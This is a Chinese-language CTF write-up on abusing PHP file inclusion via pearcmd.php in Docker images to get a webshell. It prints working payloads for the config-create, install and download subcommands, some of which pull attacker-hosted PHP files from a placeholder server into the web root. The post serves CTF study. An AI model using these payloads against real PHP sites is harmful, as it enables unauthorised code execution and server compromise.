2023年的ACTF后遗留下来的一个我一直没有总结过的的文件包含(过滤)的骚利用手段,在失去filterchain的情况下如何getshell?

pearcmd文件包含漏洞

这个手段似乎很早就出现了,2021年已经有相关博客,但是没有大规模的传播。

早在2021就有大佬做了详尽的总结Docker PHP裸文件本地包含综述 | 离别歌 (leavesongs.com)

简介

pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;

在7.4及以后,需要我们在编译PHP的时候指定—with-pear才会安装。

不过,在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php

要利用这个pearcmd.php需要满足几个条件:

  1. 要开启register_argc_argv, 这个选项在Docker中使自动开启的
  2. 要有文件包含的利用

现在大部分CTF的环境都是利用docker搭建的,而现在的PHP题目的版本很大部分在7.4以上,所以这个利用的范围还是挺大的,可以试试。

利用

环境就先使用php7.4进行测试

image-20240401163215420

HTTP数据包中的query-string会被作为argv, 在docker下复现pearcmd应该是可行的,当然默认也存在pearcmd。

image-20240401163503871

config-create

利用payload:

1
?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php

image-20240401164114591

文件包含的点是?file=

成功写入文件

image-20240401164343565

使用的是PEAR_Config的形式,方法来自p神博客。

install

还有install形式

pear install http://xxxx/test.php就可以下载php文件,还可以用--installroot指定目录,这样可以构造payload:

1
?+install+--installroot+&file=/usr/local/lib/php/pearcmd.php&+http://xxxx/test1.php

这个payload会将文件下载到网站目录的&file=/usr/local/lib/php/pearcmd.php\&/tmp/pear/download/文件夹下,构造非常巧妙,访问时需要url编码,好处是可以直接访问到文件,不需要包含,当然可能存在没有写权限的情况,就需要另外构造:

1
?+install+--installroot+/tmp/testinstall+http://localhost/index.html+&file=/usr/local/lib/php/pearcmd.php

这个payload会将文件下载到/tmp/testinstall/tmp/pear/download下,当然还有别的形式:

1
?+install+http://localhost/index.html+&file=/usr/local/lib/php/pearcmd.php

这个payload会将文件下载到/tmp/pear/download下。

download

还有dowanload形式,参考了:关于利用pearcmd进行文件包含的一些总结 | W4rsp1t3’s blog

非常聪明的构造:

1
?+download+http://xxxx/test1.php&file=/usr/local/lib/php/pearcmd.php

原命令是pear download url,和之前的install一样,&file=/usr/local/lib/php/pearcmd.php这一部分会被加入pear执行的参数中,在我们的服务器上构造会返回恶意代码的url:test1.php&file=/usr/local/lib/php/pearcmd.php即可。

可以将文件写到当前网站目录下。

当然可能还有别的利用手段需要进一步挖掘。